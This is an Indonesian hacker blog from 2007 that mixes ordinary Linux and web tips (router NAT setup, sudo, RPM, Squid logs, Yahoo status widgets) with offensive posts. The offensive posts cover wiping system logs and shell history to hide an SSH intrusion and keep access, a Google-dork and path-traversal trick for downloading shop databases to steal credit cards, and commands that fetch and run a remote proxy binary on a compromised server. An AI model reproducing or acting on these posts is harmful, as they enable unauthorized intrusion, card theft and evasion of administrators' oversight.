<head> Urang Nang Handak Tahu
Wednesday, January 31, 2007
Cara menghapus Log Squid
cd /var/log/squid
rm -fr access.log access.log.1.gz access.log.2.gz
touch access.log
chmod 640 access.log
chown squid:squid access.log
tail -f access.log
chmod +r access.log
/etc/init.d/squid restart


.::. Aye ngga tau tuh apa artinya .... yang jelas gua jalanin bisa..hehehhe.. susah emang klo ndak bisa linux ... .::.
 
posted by banjar-hack at 7:47 PM | Permalink | 3 comments
Friday, January 26, 2007
Script redirect
Script buat Redirect :

<"html><"head
<"title>AutoRedirect<"/title>
<"base target="_self">
<"/base><"/head>
<"body onload="go()">
<"script LANGUAGE="JavaScript">
function go(){
var url ="http://domainb.com"
var target="_self"
window.open(url,target)
}
<"/script>
<"/body>
<"/hml">

100% diambi darisahir.dozer.or.id
 
posted by banjar-hack at 9:18 AM | Permalink | 0 comments
Setting Router Warnet
Akhirnya jadi juga tutorial setting router warnet untuk linux.
Saya menulis ini buat temen2 yang minta untuk di buatin tutorial untuk setting router warnet,dimana sebelumnya mereka memakai router windows dan mau migrasi ke linux.

|eth0
|
|-------|
| MGW |
|---|---|
|
|eth1
|
|
|--------------------hub----------------------|
| | |
| | |
| | |
|---------| |---------| |---------|
|Client 01| |Client 02| |Client 03|
|---------| |---------| |---------|

Pertama yang harus di lakukan adalah mensetting mgw(main gateway)
supaya bisa connect ke internet
Sebelum Mensetting :
1.Minta IP public ke ISP lengkap dengan netmask,broadcast dan dns nya
misalnya :
RANGE : 202.159.121.0/29
IP : 202.159.121.2
GATEWAY : 202.159.121.1
Nemast : 255.255.255.248
broadcast : 202.159.121.7
DNS1 : 202.159.0.10
DNS2 : 202.159.0.20
berarti kita mendapatkan ip 5 buah dari 202.159.121.2 - 202.159.121.6

2.Menentukan IP local yang akan kita gunakan buat client

Setting IP MGW :
1.[root@mgw cachak]$ vi /etc/sysconfig/network
lalu isi dengan :

NETWORKING=yes
HOSTNAME=mgw.domain.com
GATEWAY=202.159.121.1

lalu simpen dengan menekan :wq

2.Menconfigurasi IP eth0(default)

[root@mgw root]$ vi /etc/sysconfig/network-scripts/ifcfg-eth0
lalu isi dengan :

DEVICE=eth0
BOOTPROTO=static
IPADDR=202.159.121.2
BROADCAST=202.159.121.7
NETMASK=255.255.255.249
ONBOOT=yes
USERCTL=no

lalu simpen dengan menekan :wq

3.Setting dns resolve

[root@mgw root]$ vi /etc/resolv.conf
lalu isi dengan nameserver dari isp kita tadi :

nameserver 202.159.0.10
nameserver 202.159.0.20

lalu simpen dengan menekan :wq

4.Setting ip_forwarding

[root@mgw cachak]$ vi /etc/sysctl.conf

rubah net.ipv4.ip_forward = 0 menjadi net.ipv4.ip_forward = 1
atau kalau gak ada net.ipv4.ip_forward = 0 tambahin net.ipv4.ip_forward = 1

simpen dengan menekan :wq

5.restart network
[root@mgw cachak]$ /etc/init.d/network restart
Shutting down interface eth0: [ OK ]
Shutting down loopback interface: [ OK ]
Disabling IPv4 packet forwarding: [ OK ]
Setting network parameters: [ OK ]
Bringing up loopback interface: [ OK ]
Bringing up interface eth0: [ OK ]

[root@www root]#chkconfig --level 2345 network on
[root@www root]#

6.testing dengan ngeping ke default gateway 202.159.121.1

[root@mgw cachak]$ ping 202.159.121.1
PING 202.159.121.1 (202.159.121.1) 56(84) bytes of data.
64 bytes from 202.159.121.1: icmp_seq=1 ttl=63 time=0.356 ms
64 bytes from 202.159.121.1: icmp_seq=2 ttl=63 time=0.269 ms
64 bytes from 202.159.121.1: icmp_seq=3 ttl=63 time=0.267 ms
64 bytes from 202.159.121.1: icmp_seq=4 ttl=63 time=0.268 ms

--- 202.159.121.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2997ms
rtt min/avg/max/mdev = 0.267/0.290/0.356/0.038 ms

7.testing untuk ngeping google.com untuk ngecek dns nya
kalau muncul :
PING google.com (216.239.39.99) 56(84) bytes of data.
berarti dns kita untuk mgw dah bekerja, tapi kalau muncul :
ping: unknown host google.com
berarti dns yang kita isikan di /etc/resolve.conf masih salah,
silahkan cek lagi ke ISP nya :)

nah bereskan sudah setting IP untuk mgw nya :)
supaya mgw ini bisa sekaligus di gunakan sebagai ns server
oleh client maka harus di install daemon bind atau
daemon nameserver yang lain
ataukalau sudah ada tinggal idupin Bind nya

[root@www root]# /etc/init.d/named restart
Stopping named: [ OK ]
Starting named: [ OK ]
[root@www root]#chkconfig --level 2345 named on
[root@www root]#

misalnya ip ke client adalah :
192.168.0.1/24
IP : 192.168.0.1
netmask : 255.255.255.0
broadcast : 192.168.0.255
RANGE IP CLIENT : 192.168.0.2-192.168.0.254

Setting ip untuk eth1 (yang ke client)
1.memberi IP 192.168.0.1 di eth1
[root@mgw cachak]$ vi /etc/sysconfig/network-scripts/ifcfg-eth1
lalu isi dengan :

DEVICE=eth1
BOOTPROTO=static
IPADDR=192.168.0.1
NETMASK=255.255.255.0
BROADCAST=192.168.0.255
ONBOOT=yes
USERCTL=no

lalu simpen dengan menekan :wq

2.Restart networknya

[root@mgw root]$ /etc/init.d/network restart
Shutting down interface eth0: [ OK ]
Shutting down interface eth1: [ OK ]
Shutting down loopback interface: [ OK ]
Disabling IPv4 packet forwarding: [ OK ]
Setting network parameters: [ OK ]
Bringing up loopback interface: [ OK ]
Bringing up interface eth0: [ OK ]
Bringing up interface eth1: [ OK ]

3.Testing dengan cara ping ip eth1
[root@mgw cachak]$ ping 192.168.0.1
PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=1 ttl=63 time=0.356 ms
64 bytes from 192.168.0.1: icmp_seq=2 ttl=63 time=0.269 ms
64 bytes from 192.168.0.1: icmp_seq=3 ttl=63 time=0.267 ms
64 bytes from 192.168.0.1: icmp_seq=4 ttl=63 time=0.268 ms

--- 192.168.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2997ms
rtt min/avg/max/mdev = 0.267/0.290/0.356/0.038 ms

Tinggal Setting IP computer client dengan ketentuan di bawah ini :

IP : 192.168.0.2 - 192.168.0.254
GATEWAY : 192.168.0.1
NETMASK : 255.255.255.0
BROADCAST : 192.168.0.255
NAMESERVER : 192.168.0.1

misal :

Client01
===============================
IP : 192.168.0.2
GATEWAY : 192.168.0.1
NETMASK : 255.255.255.0
BROADCAST : 192.168.0.255
NAMESERVER : 192.168.0.1

Client02
===============================
IP : 192.168.0.3
GATEWAY : 192.168.0.1
NETMASK : 255.255.255.0
BROADCAST : 192.168.0.255
NAMESERVER : 192.168.0.1

dan seterusnya sesuai banyaknya client,yang berubah hanya IP
untuk client windows maka setting IP
di bagian Start Menu/Setting/Control Panel/Network

setelah di setting ip client, maka coba ping ke 192.168.0.1
dari client,kalau berhasil berarti client dan MGW nya sudah tersambung.

Setting MGW supaya client bisa internat dengan menggunakan NAT

1.Matikan iptablesnya

[root@mgw root]# /etc/init.d/iptables stop
Flushing all chains: [ OK ]
Removing user defined chains: [ OK ]
Resetting built-in chains to the default ACCEPT policy: [ OK ]
[root@mgw root]#

2.Tambahkan iptables untuk Source NAt sesuai dengan ip di eth0
[root@mgw root]# /sbin/iptables -t nat -A POSTROUTING
-o eth0 -s 192.168.0.0/24 -j SNAT --to-source 202.159.121.2
[root@mgw root]# /sbin/iptables-save > /etc/sysconfig/iptables
[root@mgw root]# /etc/init.d/iptables restart
Flushing all current rules and user defined chains: [ OK ]
Clearing all current rules and user defined chains: [ OK ]
Applying iptables firewall rules: [ OK ]
[root@mgw root]# iptables-save

SNAT sudah,SNAT disini standar sekali dan gak ada proteksi
untuk mengetest nya kita browser di client lalau buka google.com,
kalau jalan berati kita sudah berhasil :)

100 % Diambil dari sahir.dozer.or.id
 
posted by banjar-hack at 9:06 AM | Permalink | 0 comments
Tuesday, January 23, 2007
Menghilangkan jejak dengan menghapus semua log
bagaimana cara agar si admin tidak mengira bahwa servernya pernah dimasuki dan diutak-atik seseorang lewat remote shell ssh. Sehingga siadmin tidak merubah-rubah password untuk kita gunakan pada penyusupan berikutnya.

Menghapus log juga bertujuan untuk tidak meninggalkan ip address yg bisa dilacak kepunyaanya oleh si admin.

Tutorial ini berkaitan dengan cara menghapus semua log yg mencatat aktifitas penyusup dalam sistem operasi linux.

Menghilangkan diri dari perintah last (perintah untuk melihat catatan semua user yg pernah login/logout baik local moupun remote) command yg digunakan adalah:
#echo >/var/log/wtmp
#echo >/var/log/lastlog

Log-log yang lain yg perlu dihapus pake command:
#echo >/var/log/messages
#echo >/var/log/secure
#echo >/var/log/maillog
#echo >/var/log/xferlog

Jangan lupa terakhir menghapus history shell command:
#history -c

setelah itu jangan ketik apa-apa lagi, just logout or cltr+D

moga bermanfaat :D (Ropix)

Labels:

 
posted by banjar-hack at 10:53 PM | Permalink | 0 comments
Hak Akses Root dengan SUDO
sudo : superuser do

- sudo dapat digunakan mungkin dengan tujuan keamanan jaringan atau server.
- mengizinkan user tertentu menggunakan hak akses setara root dengan menggunakan sudo.

Note :
- kita akan melakukan perizinan terhadap user “noc”
- masukan user “noc” kedalam group “wheel”

Ok sekarang kita mulai cara cepatnya :

1. login sebagai “root” lalu adduser “noc” terlebih dahulu dengan command :
[root@server root]#useradd -c “Network Administrator” -g wheel -d /home/cupid -s /bin/bash noc
[root@server root]#passwd noc
Changing password for user noc
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.

atau bisa dengan menggunakan perintah
[root@server root]#adduser
lalu turuti perintah selanjutnya

2. edit file “/etc/sudoers” untuk menambahkan user yang berhak melakukan sudo.
[root@server root]#pico -w /etc/sudoers
—> #User privilege specification
root ALL=(ALL) ALL
test ALL=(ALL) ALL

3. Kemudian membatasi user yang dapat melakukan remote maka edit file “/etc/ssh/sshd_config”
[root@server root]#pico -w /etc/ssh/sshd_config
—> AllowUsers noc
AllowGroup wheel

[root@server root]#/etc/rc.d/rc.sshd restart

4. Ok sekarang coba masuk menggunakan user “noc” lalu lakukan command yang hanya bisa dijalankan root.
[root@server noc]$ sudo cat /etc/shadow

This entry was posted on Thursday, December 21st, 2006 at 1:58 pm and is filed under Slackware. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

Taken From PufferFish
 
posted by banjar-hack at 7:44 PM | Permalink | 0 comments
Perintah RPM
Rpm adalah salah satu software manager di Linux yang bertugas mengatur program, dengan Rpm(distro yang menggunakan antara lain Redhat, Fedora, Mandriva, dan Suse) akan mudah bagi seorang pengguna linux untuk menginstall, mengupdate, dan menghapus program di Linux. Selain Rpm ada beberapa varian software manager lain yang juga terkenal seperti dpkg(distro yang menggunakan antara lain Debian, Ubuntu, Kubuntu)
Untuk menginstall program pada distro yang berbasis Rpm anda membutuhkan file yang berekstensi *.rpm (untuk menginstall program pada distro yang menggunakan dpkg dibutuhkan file berekstensi *.deb) misal anda ingin menginstall file powermanga-0.80-1.fc5.i386.rpm. maka perintah yang harus anda ketikkan adalah

rpm -ivh powermanga-0.80-1.fc5.i386.rpm
rpm -qa => Untuk melihat semua software yang telah terinstall pada komputer anda gunakan perintah
rpm -qa | grep ==> Jika anda ingin mengetahui apakah suatu software tertentu telah terinstall atau tidak.
rpm -e ==> Untuk menghapus program gunakan perintah

Selanjutnya dengan rpm anda juga bisa mengetahui program apa saja pada yang dependencynya(software yang dibutuhkan oleh software yang lain) kurang. Hal ini terjadi jika saat anda menginstall program anda menggunakan opsi “–nodeps” yang mengakibatkan rpm tidak akan mengecek dependency dari software yang akan diinstall. Untuk mengatasi ini gunakan perintah “rpm -Va –nofiles”. Perintah ini akan mencetak ke layar software yang dependencynya kurang dan software software apa saja yang ia butuhkan.

Taken From :nasrulkurniawan.wordpress.com

Labels:

 
posted by banjar-hack at 7:03 PM | Permalink | 0 comments
Thursday, January 18, 2007
Cari CC dengan pdshoppro (Edisi Lama)
Anda akan dengan mudah mencari website yang menggunakan aplikasi ini karena hampir setiap website yang menggunakannya, memajang kalimat berikut : "Powered by pdshoppro".
Dengan cara di bawah ini anda dapat menemukan banyak website tsb:

1. manfaatkan google, cari dengan keyword "Powered by pdshoppro"

2. Kunjungi situs tersebut misal :
www.sasaran.com/../../shop/file.asp

3. Ganti url dengan
www.sasaran.com/../../data/pdshoppro.mdb
Ta da .. database siap didownload.

Labels:

 
posted by banjar-hack at 7:48 AM | Permalink | 0 comments
Tuesday, January 16, 2007
Membuat Proxy Lewat Web Injekan
Lakukan Saja.. Jangan Banyak tanya..

=====================================================
wget - curl -O - lwp-download http://lutung.net/banjarcity/prox.tar.gz
tar -zxvf prox.tar.gz
rm -rf prox.tar.gz
chmod a+x prox
./prox -d -p3030 -t
===================================================

./me di ajarin oleh Mr. Agus
 
posted by banjar-hack at 3:41 AM | Permalink | 0 comments
Saturday, January 13, 2007
Random Ayat
Script di bawah ini akan menghasilkan ayat dan surat secara acak.

+script language="javascript" type="text/javascript" src="http://www.mahesajenar.com/ayat.js">+/script+

Sumber : mahesajenar.com
 
posted by banjar-hack at 9:19 PM | Permalink | 0 comments
Yahoo Indikator II
Pada artikel sebelumnya, gambar yang digunakan pada status YM telah disediakan dari Yahoo!. Lalu bagaimana jika Anda ingin mengubahnya dengan gambar yang telah anda buat sendiri?

Berikut langkah-langkah yang (harus) anda lakukan:
1. Buatlah dua gambar. Yang pertama untuk menunjukkan status “Online” dan yang kedua untuk menunjukkan status “Offline”.
2. Copy script berikut, lalu paste pada bagian yang akan anda gunakan untuk menampilkan status YM:

<_?php

//set konfigurasi awal
$id = “yahoo_id_anda”; //Ubah sesuai Yahoo ID anda
$online = “http://domainanda/image.”; //URL ke gambar jika status online
$offline = “http://domainanda/image.”; //URL ke gambar jika status offline

//Mari membaca Yahoo :D ,
$buka = fopen(”http://opi.yahoo.com/online?u=”.$id.”&m=t”,”r”)
or die
(””);
while ($baca = fread( $buka, 2048 ))
{ $status .= $baca; }
fclose($buka);

if($status == $id.” is ONLINE”){
echo “”;
} else {
echo “”;
}
?>

Catatan:
1. Cara paling simple adalah dengan membuat sebuah file baru untuk script diatas, kemudian anda gunakan fungsi include pada halaman yang akan anda gunakan untuk menampilkan status YM.
cth:


ymstatus.php adalah file dimana anda meletakkan script diatas.

2. Untuk contoh dari script ini, dapat anda lihat disini
 
posted by banjar-hack at 6:35 AM | Permalink | 0 comments
Yahoo Indikator I

Punya account di Yahoo? Sering chatting menggunakan Yahoo! Messenger? Ingin menampilkan status YM anda pada website anda?

Berikut cara menampilkan indikator status YM pada website:

- ukuran kecil:
YM
<_img border="0" src="http://opi.yahoo.com/online?u=yahoo_id_anda&m=g&t=0" />

- ukuran sedang:
s
<_img border="0" src="http://opi.yahoo.com/online?u=yahoo_id_anda&m=g&t=1" />

-ukuran besar:
s
<_img border="0" src="http://opi.yahoo.com/online?u=yahoo_id_anda&m=g&t=2" />

Ganti yahoo_id_anda dengan id yahoo yang akan ditampilkan.

 
posted by banjar-hack at 6:30 AM | Permalink | 0 comments